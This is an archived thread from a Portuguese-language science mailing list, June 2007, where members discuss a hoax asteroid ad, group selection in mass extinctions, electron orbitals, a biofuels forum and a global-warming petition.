que possam atingir a Terra, entre eles o NEO da NASA:
http://neo.jpl.nasa.gov/

A órbita de Pallas (e outros asteróides) pode ser vista em
http://orbitsimulator.com/gravity/articles/ceres.html

A princípio, acho que se trata de uma campanha publicitária, como
apontado no teu segundo link. O problema é que ela perpetua um mito
que eu acho danoso para a credibilidade da ciência, a de que "agências
governamentais" estejam escondendo informações "para o nosso próprio bem".

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] Vídeo - Dynamic Goldberg Machine
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, "Vivens Scientia" <VivensScientia@yahoogroups.com>
DATE: 11/06/2007 10:36

He he he ... brilhante! É preciso bem mais tempo do que não ter nada a fazer! Meu filhote adoraria ver isso funcionando!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Esteban Moreno" <estebanlmoreno@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>; "Vivens Scientia" <VivensScientia@yahoogroups.com>
Enviada em: sábado, 9 de junho de 2007 15:59
Assunto: [ciencialist] Vídeo - Dynamic Goldberg Machine


----
Ou mega ultra hyper falta do que fazer

Engenhosidade dinâmica ( e nada para fazer :-))

Dynamic Goldberg Machine
http://haha.nu/amazing/dynamic-goldberg-machine/


##### ##### #####

Página de apoio
http://www.ciencialist.com


##### ##### ##### #####
Links do Yahoo! Grupos




--
No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.472 / Virus Database: 269.8.9/832 - Release Date: 04/06/2007 18:43




SUBJECT: Camarão-estalo produz sonoluminescência
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 11/06/2007 10:42

Camarão-estalo produz sonoluminescência
<http://100nexos.com/arquivo/168>Assista
ao vídeo <http://100nexos.com/arquivo/168>

O pequeno camarão-estalo (família
Alpheidae<http://en.wikipedia.org/wiki/Pistol_shrimp>)
compete com a baleia cachalote ou beluga como o 'animal mais barulhento do
mar'. A criaturinha vermelha estala sua garra criando uma onda de cavitação
gerando pressões acústicas de até 80kPa a uma distância de 4 centímetros.
Medidas indicam níveis de até 190dB a um metro de distância. O clique dura
menos de um milissegundo, mas é suficiente para atingir as vítimas do
poderoso camarão.
Em verdade, o estalo é tão poderoso que, como uma nota publicada na Nature
informou <http://www.nature.com/nature/journal/v413/n6855/abs/413477a0.html>,
o colapso da bolha de cavitação produz temperaturas comparáveis à do Sol, em
um flash curtíssimo de luz mais conhecido no fenômeno de
sonoluminescência<http://galileu.globo.com/edic/91/conhecimento2.htm>.
Embora breve e tênue demais para qualquer uso prático pelo camarão, seria o
primeiro registro de um animal capaz de produzir o fenômeno, batizado pelos
cientistas de "camaroluminescência".


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Seleção de grupos
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 17:27

Olá, Takata.

> > Deviam apresentar.
>
> Deveriam *se* se desse uma extinção seletiva. Tto qto sabemos não é
o
> caso.

Mas foi seletiva. Dinossauros morreram, mamíferos sobreviveram. Não
seria seletiva se a extinção das espécies da época se desse ao acaso,
matando grupos de mamíferos, dinossauros, insetos,
indiscriminadamente, aí sim, seria um caso de deriva, mas o que
parece é que alguns grupos foram mais afetados que outros, e, se
assim ocorreu, então houve seleção.

Saudações,
João de Carvalho





SUBJECT: inversor máximo
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, tipoalgo@gmail.com
DATE: 11/06/2007 17:28

Tipo...
vc já é do ramo, ou algo do tipo... tenho certeza!
É pela experiência que se aprende.
Vai fundo!
O Brasil, queiramos ou não, é um país virgem.
E mais ainda, a gente vê tanto besta dando certo, que até se anima, não? E é
assim mesmo!
Se vc precisar de dissipadores lembre-se que tenho umas idéias a respeito.
É vc o outro brasileiro que anda lá pelo B.Wheel?
Sorte!
abr/M. SP 11/jun




SUBJECT: Re: Seleção de grupos
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 17:46

Olá, Homero.

> João: "Não é aquele tipo de seleção de grupo que você falou, de
> características selecionadas que são boas para o grupo, mas não para
> os indivíduos, o que seria uma seleção mais dentro dos padrões
> normais. Mas você não pode dizer que extinção em massa catastrófica
> não seja um tipo de seleção, mesmo que seja bastante singular e
raro.
> Os selecionados ali foram os mamíferos, que herdaram o mundo dos
> dinossauros, abrindo caminho para seu desenvolvimento.

> Mas a questão é justamente definir o termo "seleção de grupo". Se
> considerar que é apenas seleção, não há discordância, pelo menos não
> muita (o Takata pode ainda considerar que as características que
> mantiveram algumas espécies vivas e outras não não foram
> "selecionadas" de toda forma).

Sim, se tratam de processos diferentes.

> A mudança catastrófica não é diferente, apenas é mais rara. Mas
ainda
> é a mudança ambiental agindo nos indivíduos e genes, não exatamente
> nos grupos.

Quando o dinossauro estava morrendo, não era por ele apresentar
alguma característica individual, uma variável genética específica.
Ele estava morrendo porque era um dinossauro. Não importa que uma
determinada espécie de dinossauro apresentasse uma ampla variação
genética, foram todos dizimados. O padrão inteiro se tornou inapto.

Saudações,
João de Carvalho




SUBJECT: Re: Seleção de grupos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 17:51

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Mas foi seletiva. Dinossauros morreram, mamíferos sobreviveram.

Isso não é ser seletivo. Primeiro, porq. como vc notou, as aves - q
são dinossauros - sobreviveram.

Várias espécies de mamíferos desapareceram tb.

E tto qto se sabe deu-se (mais ou menos) ao acaso, exatamente matando
grupos de mamíferos, dinossauros e insetos. Como o número de
indivíduos é finito, em muitos casos ocorreu extinção - algo entre 60
e 70% das espécies podem ter desaparecido. Como o impacto não foi de
100%, alguns indivíduos sobreviveram - obviamente esses indivíduos
pertencem a algum grupo taxonômico.

No caso dos mamíferos, os marsupiais do hemisfério norte simplesmente
desapareceram. Entre as aves os enantiórnites e hesperórnites
desapareceram. Entre os insetos e plantas o impacto tb foi grande.

É como o ganhador da mega-sena q acha q o sorteio não se deu ao acaso,
justamente porq o bilhete dele foi o premiado.

Seleção em biologia envolve a sobrevivência diferencial de organismos
em função da posse ou não de uma determinada característica - e não a
simples sobrevivência diferencial.

[]s,

Roberto Takata



SUBJECT: Re: Asteróide verdadeiro ou publicitário?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 18:03

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Por acaso, achei um post interessante sobre o assunto. E, sim, a
> maioria dos sites que achei era sobre o novo "Pallas", carro da
> Peugeot (acho).

Falso choque astronômico cria alerta na web
http://g1.globo.com/Noticias/Tecnologia/0,,MUL50412-6174-5669,00.html

O site do Estadão deu uma barrigada dando destaque à lorota no site
deles (já tiraram - e nem pra por uma notinha se desculpando pelo erro).

Eu sou pra boicotar empresas idiotas q usam desses expedientes. Juro q
qdo eu comprar um carro, comprarei da Renault ou da Citroen, nunca,
nunca da Peugeot.

[]s,

Roberto Takata



SUBJECT: Re: Asteróide verdadeiro ou publicitário?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 18:10

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> qdo eu comprar um carro, comprarei da Renault ou da Citroen, nunca,
> nunca da Peugeot.

Aliás, da Citroen não, q é do mm grupo.

[]s,

Roberto Takata



SUBJECT: Re: Seleção de grupos
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 19:55

Olá, Takata.

Então teria sido simplesmente azar que apenas um grupo de dinossauros
tenha sobrado (e mesmo assim um grupo que se diferenciou bastante,
embora eu não saiba, na época do meteoro, o quão especializado estava
o grupo das aves), e sorte que alguns grupos de mamíferos tenham
sobrevivido, assim como as tartarugas, os jacarés e os lagartos?
Imagino que na época o número e a diversidade de dinossauros era bem
maior que o de qualquer um desses outros grupos. Como pode o grupo
mais numeroso ter sido praticamente todo extinto enquanto outros
menores sobreviveram? Não me parece que a extinção foi randômica.

Saudações,
João de Carvalho




SUBJECT: Estrutura da nuvem de elétrons
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 19:57

Os elétrons as vezes são descritos como "nuvens." Essas "nuvens", no
entanto, parecem ter uma estrutura complexa, pois existem várias
"camadas" de elétrons, como também "orbitais." Cada camada de
elétrons tem seus próprios orbitais? Se assim for, a estrutura da
nuvem é bastante complexa. Existe alguma tentativa de visualizar como
ela é? Eu li que os átomos se juntam por interações residuais entre
os elétrons de um átomo, e o núcleo de um outro, o que é meio
estranho. Essa teoria também não explica aquela coisa da nuvem ter
que apresentar 8 elétrons na última camada. Será essa propriedade
produto da estrutura da nuvem?




SUBJECT: Re: inversor máximo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 20:36

Olá Murilo!

...
>É vc o outro brasileiro que anda lá pelo B.Wheel?

Acho que não sou eu, pois não sei o que é B.Wheel!

Abraços
Tipoalgo





SUBJECT: Re: Seleção de grupos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 20:49

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Então teria sido simplesmente azar que apenas um grupo de
> dinossauros tenha sobrado (e mesmo assim um grupo que se diferenciou
> bastante, embora eu não saiba, na época do meteoro, o quão
> especializado estava o grupo das aves)

Ornitísquios eram mais diferenciado em relação ao ancestral em comum.
A aparente distância entre as aves e os demais terópodos manirraptores
é apenas isso, aparente. Qdo vc olha na árvore evolutiva e acompanha a
seqüência de modificações ao longo da linhagem q deu origem às aves
modernas, é impossível dizer - a não ser arbitrariamente - aqui começa
o grupo das aves. Atualmente temos fósseis de dinossauros não-aviano
com penas. É uma questão de convenção que os paleontólogos definam
aves como o grupo formado pelos descendentes do ancestral em comum das
aves atuais e do arqueoptérice - e, segundo algumas filogenias, com
essa definição de aves, um velocirraptor seria uma ave.

Vamos fazer um jogo. Considere os seguintes 20 elementos abaixo:
A1, A2, A3, A4, B1, B2, B3, C1, D1, D2, D3, E1, F1, F2, G1, G2, G3,
G4, H1, J1.
Sorteemos 8 elementos:
A2, A3, E1, F1, G1, G2, G3, G4, H1, J1

Os grupos q sobreviveram foram:
A, E, F, G, H e J
Os q foram extintos:
B, C e D

Alguém poderá se perguntar se A (E, F, G, J, H ou J) era mais apto do
q B (ou C ou D)... Todos os membros de G sobreviveram, E q era menos
diverso q B e D sobreviveu.

, e sorte que alguns grupos de mamíferos tenham
> sobrevivido, assim como as tartarugas, os jacarés e os lagartos?
> Imagino que na época o número e a diversidade de dinossauros era bem
> maior que o de qualquer um desses outros grupos.

É um pouco complicado avaliar a diversidade passada (já é complicado
avaliar a diversidade atual). Mas os dinossauros - exceto aves - nunca
foram muito diversos: atualmente há cerca de 600 gêneros descritos de
dinossauros (e umas 800 espécies). Peter Dodson [1] estimou em um
artigo q algo em torno de 1.000 gêneros de dinossauros devem ter
existido. O q projetaria algo em torno de 1.500 espécies de
dinossauros não-avianos teriam vivido.

[1]
http://www.pnas.org/cgi/content/abstract/87/19/7608?maxtoshow=&HITS=10&hits=10&RESULTFORMAT=&fulltext=Dodson&searchid=1&FIRSTINDEX=0&resourcetype=HWCIT

Em termos de ordem, há apenas duas: saurísquios e ornitísquios. Mas
poderemos subdividir em subordens: ceratópsios, paquicefalossáurios,
ornitópodos, estegossáurios, anquilossáurios, terópodos,
prossaurópodos e saurópodos. Aparentemente os mamíferos ultrapassavam
em muito os dinossauros em número de indivíduos e possivelmente em
biomassa. Calha apenas dos dinossauros terem sido os elementos mais
proeminentes de boa parte da era mesozóica.

Se os terópodos, inclusive aves, tivessem desaparecido e tivesse
restado os saurópodos - o incauto imaginaria a mm coisa q vc está
pensando, mas a respeito da vantagem adaptativa dos saurópodos.

[]s,

Roberto Takata



SUBJECT: Re: Estrutura da nuvem de elétrons
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 20:53

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Os elétrons as vezes são descritos como "nuvens." Essas "nuvens", no
> entanto, parecem ter uma estrutura complexa, pois existem várias
> "camadas" de elétrons, como também "orbitais."

Qdo pensar em nuvens, esqueça camadas e orbitais - são descrições
distintas.

Camada pertence ao modelo "planetário" da organização atômica. Nuvem é
uma distribuição de (densidade de) probabilidades.

[]s,

Roberto Takata



SUBJECT: Re: Estrutura da nuvem de elétrons
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 21:29

> Qdo pensar em nuvens, esqueça camadas e orbitais - são descrições
> distintas.
>
> Camada pertence ao modelo "planetário" da organização atômica.
Nuvem é
> uma distribuição de (densidade de) probabilidades.

Ok. Obrigado pelos esclarecimentos. Mas imagino que, seja como nuvem,
seja como partícula, aquela coisa deve ter uma estrutura. Sobre
aqueles oito elétrons na última camada, sabe se existe alguma
explicação para aquilo? Será que explicação está na estrutura da
nuvem de elétrons? Aquela teoria sobre atração entre os elétrons de
um átomo e o núcleo de outro me parece meio estranha. Eu li sobre
isso naquele ótimo link que você me indicou, A aventura das
partículas. Talvez eles estejam expondo a teoria de uma forma muito
simplificada.

Saudações,
João de Carvalho



SUBJECT: Fórum Biocombustíveis: uma visão integral
FROM: "Deise Nascimento" <deise0109@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 21:46

segue convite à todos e todas...
divulguem p/ amigos este evento de entrada livre (não necessita
inscrição prévia).


FÓRUM "BIOCOMBUSTÍVEIS: UMA VISÃO INTEGRAL".

Instituto Árvore da Vida – Prefeitura Municipal de Campinas
Semana do Meio Ambiente de Campinas (SEMEIA)
Salão Vermelho da Prefeitura de Campinas.
Horário: 14-17 horas. Tempo de cada apresentação: 20 minutos. Debate
final: 20 minutos.

Programa do evento.

Coordenadora das sessões: Elisa Ortega, Terapeuta Ocupacional.
Vice-Presidente do Instituto Árvore da Vida (OSCIP) - Campinas.

Quarta feira 13 de junho de 2007: Situação e perspectivas da
agricultura da região.
1. Enrique Ortega, Professor, LEIA/FEA/Unicamp.
"A natureza, o petróleo e os biocombustíveis".
2. Feni Agostinho, Doutorando, LEIA/FEA/Unicamp.
"O impacto da agricultura no meio ambiente: a bacia dos Rios Mogi-
Guaçu-Pardo".
3. Rafael Aroni, Estudante de Graduação em Ciências Sociais,
IFCH/Unicamp.
"Situação dos agricultores no município de Campinas".
4. Consuelo Pereira, Doutoranda, LEIA/FEA/Unicamp.
"Índices de desempenho das grandes usinas de álcool".
5. Jose Maria Gusman, Pesquisador Embrapa.
"As destilarias de etanol e o meio ambiente: uma perspectiva
agroecológica"
6. Nelson N. Barbosa - Sindicato Rural de Campinas. "Panorama
Agrícola Atual".
7. Teldes Albuquerque, Doutoranda, LEIA/FEA/Unicamp.
"Sistemas Agrosilvopastoris de alta produtividade e o
desenvolvimento limpo".
Quinta feira 14 de junho de 2007. Biocombustíveis sustentáveis para a
região.
8. Paulo Espíndola Trani, Presidente do Conselho Municipal de
Desenvolvimento Rural Sustentável (CMDRS).
"Os serviços públicos da cidade e o desenvolvimento rural sob a
ótica da sustentabilidade".
9. Otavio Cavalett, Doutorando LEIA/FEA/Unicamp.
"Índices de desempenho da produção de biodiesel de soja".
10. Sidnei Morelli, Cooperativa Remodela, Campinas.
"Tecnologia para biodiesel em pequena escala".
11. John Storfer, Mestrando, LEIA/FEA/Unicamp.
"Balanço econômico da micro-destilarias".
12. Jose Emilio Carlos Lisboa, Prefeito de Angatuba, SP.
"As micro-destilarias e o emprego no meio rural".
13. Josias Lech - Engenheiro Agrônomo e Assessor Especial do Gabinete
do Secretario de Transporte. Representante da EMDEC – Empresa de
Desenvolvimento de Campinas.
"Panorama atual da Empresa Municipal de Transporte Público e
Perspectivas Futuras com aplicação de novas tecnologias".
14. Alvino de Faveri - Assessor de Atendimento a Comunidade da
EMDEC. Coordenador do Setorial de Transportes Campinas. Presidente da
Sociedade dos Amigos do Jardim São José. Representante do Coletivo da
Macro-região.
"Uma visão da comunidade sobre biocombustíveis - aplicações
práticas".





SUBJECT: Re: Estrutura da nuvem de elétrons
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/06/2007 22:29

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Ok. Obrigado pelos esclarecimentos. Mas imagino que, seja como
> nuvem, seja como partícula, aquela coisa deve ter uma estrutura.

Como camadas, são regiões e subregiões em forma de coroas circulares
(em corte transversal - em 3-D seriam camadas de esferas concêntricas).

Como nuvem de densidade de probabilidade pode ter um aspecto muito
complexo. As mais simples:

http://boomeria.org/chemlectures/ch9orbitals1.jpg

> Sobre aqueles oito elétrons na última camada, sabe se existe alguma
> explicação para aquilo?

Tem, mas a resposta completa é complicada - eu pelo menos não entendo
totalmente. A resposta simples não é muito esclarecedora: é a
configuração energeticamente mais estável. E a regra é apenas uma
descrição geral para os elementos não-metálicos em situações gerais -
hidrogênio, por motivos óbvios não segue essa regra, mas outros
elementos em certas situações tb "violam" a tal regra.

Uma explicação um pouco mais longa - mas q tb não conta toda a
história - é q o orbital s suporta dois elétrons e o orbital p suporta
6 elétrons. Acompanhando o diagrama de Linus Pauling de distribuição
eletrônica:
http://www.ficharionline.com/ExibeConteudo.php5?idconteudo=5893

Ou minha adaptação como se segue:

1 - 1.0
2 - 2.0, 2.1
3 - 3.0, 3.1, 3.2
4 - 4.0, 4.1, 4.2, 4.3
5 - 5.0, 5.1, 5.2, 5.3, (5.4)
6 - 6.0, 6.1, 6.2, (6.3), (6.4), (6.5)
7 - 7.0, (7.1), (7.2), (7.3), (7.4), (7.5), (7.6)

1.0, 2.0, 2.1, 3.0, 3.1, 4.0, 3.2, 4.1, 5.0, 4.2, 5.1, 6.0, 4.3, 5.2,
6.1, 7.0, 5.3, 6.2...

A correspondência é q o primeiro número representa o número quântico
principal e o segundo, o número quântico secundário - azimultal. Em
parênteses os orbitais inexistentes nos átomos atualmente conhecidos -
seria preciso sintetizar átomos mais pesados do q os q se conhecem
hoje para se atingir tais subníveis energéticos.

A ordenação segue a lógica da soma dos dois números - qto menos o
total menor a energia. Se a soma for igual, o q tiver menor número
principal é o de menor energia. Repare q dessa forma, o número
secundário sempre seguirá uma ordem decrescente, disso resulta q
sempre depois do 1 segue-se o 0. Mas o 0 significa q se segue então
uma nova "camada" (um novo número quântico principal).

Isso faz então que, antes de "abrir" uma nova "camada", o subnível
imediatamente anterior a ser preenchido é o de número 1 (ou p na
designação por letras). Se o subnível 1 está para ser preenchido,
então obrigatoriamente o subnível 0 da mesma "camada" tb estará
preenchido.

Em muitas situações, a configuração mais estável é a de q se preenche
a "camada" anterior antes de se abrir uma nova - naturalmente não
significando q irá se preencher todos os subníveis eventualmente
disponíveis para essa dada "camada", já q isso significaria abrir
antes uma nova camada - por exemplo, o subnível 4.0 vem antes do 3.2.
Com exceção da "camada" 1, q só tem o subnível 0, para as outras isso
significa q os subníveis 0 e 1 serão preenchidos nessa configuração
mais estável. Como cabem dois elétrons em 0 e seis em 1, isso
significa 8 elétrons na última camada (antes de abrir uma nova).

> Será que explicação está na estrutura da nuvem de elétrons?

De certo modo... Mas isso envolveria uma matemática muito complexa (ao
menos além das minhas atuais possibilidades).

[]s,

Roberto Takata



SUBJECT: Qual a tradução de "clinical fellowship" para o português?
FROM: "ladeirac" <cladeira@nova.edu>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 01:39

Caros amigos,

Qual a tradução do termo "clinical fellowship" para o português. Moro
nos EUA, e não tenhoum bom dicionário a disposição. O termo aqui é
diferente de "clinical residency". Este ultimo acho que equivale à
residência clínica que temos no Brasil. Aqui o clnical fellowship é
mais repeitado e mais avançado do que o "clinical residency".

Alguem pode ajudar?

Um abraço,

Carlos :-)



SUBJECT: Re: [ciencialist] Re: Petição contra o aquecimento global
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 01:51

Eduardo Torres> Pode ou nao ser verdade.

Essa que é a "verdade inconveniente" que muita gente faz questão de
não querer acreditar.

Saudações,
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: Qual a tradução de "clinical fellowship" para o português?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 02:01

--- Em ciencialist@yahoogrupos.com.br, "ladeirac" <cladeira@...>
> Qual a tradução do termo "clinical fellowship" para o português. Moro
> nos EUA, e não tenhoum bom dicionário a disposição.

Provavelmente não há um termo diretamente correspondente. Muitos
médicos botam no currículo "clinical fellowship" mesmo - alguns tentam
uma meia tradução: "fellowship clínico".

[]s,

Roberto Takata



SUBJECT: Re: Petição contra o aquecimento global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 02:04

--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
> Essa que é a "verdade inconveniente" que muita gente faz questão de
> não querer acreditar.

Ou talvez uma verdade muito conveniente para o titio Bush e seus
financiadores.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Petição contra o aquecimento global
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 11:22

Takata> Ou talvez uma verdade muito conveniente para o titio Bush e
seus financiadores.

"Talvez" -> Possibilidade -> "Sim" ou "Não"

Vamos supor que "não": continua sendo uma verdade.
Vamos supor que "sim": continua sendo uma verdade.

Logo:
Takata, se for "sim": tu acha legítimo por esta causa endossar uma
mentira, então?

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 12:03

Olá Takata!

Takata >>> A luz não é acelerada do repouso até a
velocidade da luz.

--- Vou fazer uma analogia, me corrija se for
equivicada. A luz seria como um filme sendo projetado
na tela de um cinema. Quando vamos medir é como se
entrassemos na sala no meio do filme. Ou seja, a luz
já foi acelerada antes de começarmos a medir sua
velocidade. Assim não temos como saber como é que ela
atingiu esta velocidade, mas só a velocidade. Entende?
Faz sentido?

Takata >>> na verdade nada conhecido pode ser
acelerado de uma velocidade subluminal até a
velocidade da luz.

--- Nada fisico, é isto que quer dizer? Nenhum corpo
(fisico), é isto que quer dizer, certo?

Takata >>> A luz - no vácuo - tem sempre velocidade
igual à da luz - não pode ser nem mm desacelerada.

--- Vc diz "a luz", como se fosse um ente. Por favor,
Takata, me diga qual é sua definição de luz.

Takata >>> Pra fazer uma medida direta de uma grandeza
como ano-luz vc precisaria de uma régua de tamanho
absurdamente grande.

--- Olha que interessante, vamos supor que esta regua
absurdamente grande existisse, para medir as
distancias o observador precisaria caminhar sobre esta
régua, concorda? Mas como é muito longa, e sua
velocidade de caminhar é muito lenta, ele morreria bem
antes de chegar no primeiro ano-luz, não é? Como
poderiamos resolver este problema? Sem usar a regra de
tres. Tem alguma idéia? Será que é possivel. Não sei a
resposta. Vou pensar aqui também.


sinceramente
ferrari



EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664

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SUBJECT: Re: [ciencialist] Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 12:09

Olá Takata!

Takata >>> Outra oportunidade perdida de mostrar q vc
sabe resolver o problema.

--- Enquanto há vida, há oportunidade, certo? E
mostrar que sei resolver o problema não é um problema
meu, é seu. Com todo respeito.

Takata >>> Não sei de onde vc tirou q a matéria é de
fato indivisível...

--- Do fato que Um é Um, indivisivel.



sinceramente
ferrari



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SUBJECT: Re: Qual a tradução de "clinical fellowship" para o português?
FROM: "ladeirac" <cladeira@nova.edu>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 12:21

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "ladeirac" <cladeira@>
> > Qual a tradução do termo "clinical fellowship" para o português. Moro
> > nos EUA, e não tenhoum bom dicionário a disposição.
>
> Provavelmente não há um termo diretamente correspondente. Muitos
> médicos botam no currículo "clinical fellowship" mesmo - alguns tentam
> uma meia tradução: "fellowship clínico".
>
> []s,
>
> Roberto Takata
>
Obrigado pela resposta,

Carlos Ladeira :-)



SUBJECT: Re: Petição contra o aquecimento global
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 12:36

Nao ha' elementos q comprovem cabalmente q o aquecimento global tem
causa antropogenica.

E' chato pras ONGs terem q reconhecer isso, mas e' a vida.

Nem sequer se tem certeza se ha' uma tendencia permanente de
aquecimento global ou os dados apenas refletem apenas uma oscilacao
de pequena duracao (os dados confiaveis de temperatura sao da ordem
de no maximo 100 anos).

O planeta ja' sofreu 'n' grandes ciclos de aquecimento e resfriamento
globais, da ordem de milhoes ou centenas de milhares de anos, com sub-
ciclos menores - da ordem dos milhares ou dezenas de milhares de
anos - dentro desses ciclos maiores.

E tudo sem qq causa antropogenica. A maioria conhecida inclusive
antes do surgimento do Homo sapiens.

Como disse, os calculos de temperatura media global embutem zilhoes
de estimativas e coisas assumidas, e a elevacao media final obtida e'
pequena, praticamente dentro da margem de erro.

O q se sabe com mais certeza, como disse, e' q o teor de CO2 da
atmosfera esta' de fato aumentando. Temos dados de uns 10 mil anos
pra confirmar isso. E parte desse aumento e' por certo de origem
antropogenica. E as areas geladas do planeta teem diminuindo nas
ultimas 2 ou 3 decadas.

E' so' o q se pode afirmar com certeza.

Nao ha' consenso na comunidade cientifica de q o aquecimento seja uma
tendencia, nao uma oscilacao, e, se for, nao ha' consenso na
comunidade cientifica q seja causado pelo CO2 atmosferico.

Essa e' uma verdade inconveniente para Al Gore e as ONGs ambientais,
mas e' uma verdade.

Mas sempre sera' bom usarmos menos combustiveis fosseis, queimar com
mais eficiencia os q usamos, gastar menos energia em nossas
atividades cotidianas, usar mais biomassa para gerar energia, plantar
mais arvores e queimar menos florestas.

Nada contra.

Desde q isso nao sirva de ponta de lanca de uma politica
internacional de reprimir o desenvolvimento economico dos paises mais
pobres, em nome de uma suposta protecao ambiental do planeta.

Abs,
Eduardo Torres


--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
escreveu
>
> Eduardo Torres> Pode ou nao ser verdade.
>
> Essa que é a "verdade inconveniente" que muita gente faz questão de
> não querer acreditar.
>
> Saudações,
> --
> Marcos Ludwig
> [ marcosludwig@... (GTalk/MSN) ]
> [ www.sentinelas.org/reinada ]
>




SUBJECT: Re: Petição contra o aquecimento global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 12:57

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres"
> Nao ha' elementos q comprovem cabalmente q o aquecimento global tem
> causa antropogenica.

Não há elementos q comprovem cabalmente coisa alguma! Não há provas
absolutas para a relatividade de Einstein, para a mecânica quântica,
para a teoria da evolução, etc.

Não se trata de ser ou não chato, ser ou não agradável. Afinal
tampouco é agradável para os países poluidores reconhecerem seu papel
- como o Brasil.

Marido chega em casa mais cedo.

- Fato 1: Sua mulher está nua na cama.
- Fato 2: Um homem - q não é o marido - está nu na mesma cama.
- Fato 3: Ambos ao mm tempo.
- Fato 4: Ambos se beijando.
- Conclusão: "Querido, não é o q vc está pensando..."

[]s,

Roberto Takata



SUBJECT: Re: Petição contra o aquecimento global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/06/2007 12:58

--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
> Vamos supor que "não": continua sendo uma verdade.
> Vamos supor que "sim": continua sendo uma verdade.

Q verdade?

> Takata, se for "sim": tu acha legítimo por esta causa endossar uma
> mentira, então?

Q mentira?

[]s,

Roberto Takata



SUBJECT: Animação da experiência da fenda dupla
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 12/06/2007 13:22

Uma bela aula para refletir sobre os parodoxos da mecanica quântica:

http://mojiti.com/kan/4192/13741/59852


E.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Petição contra o aquecimento global
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
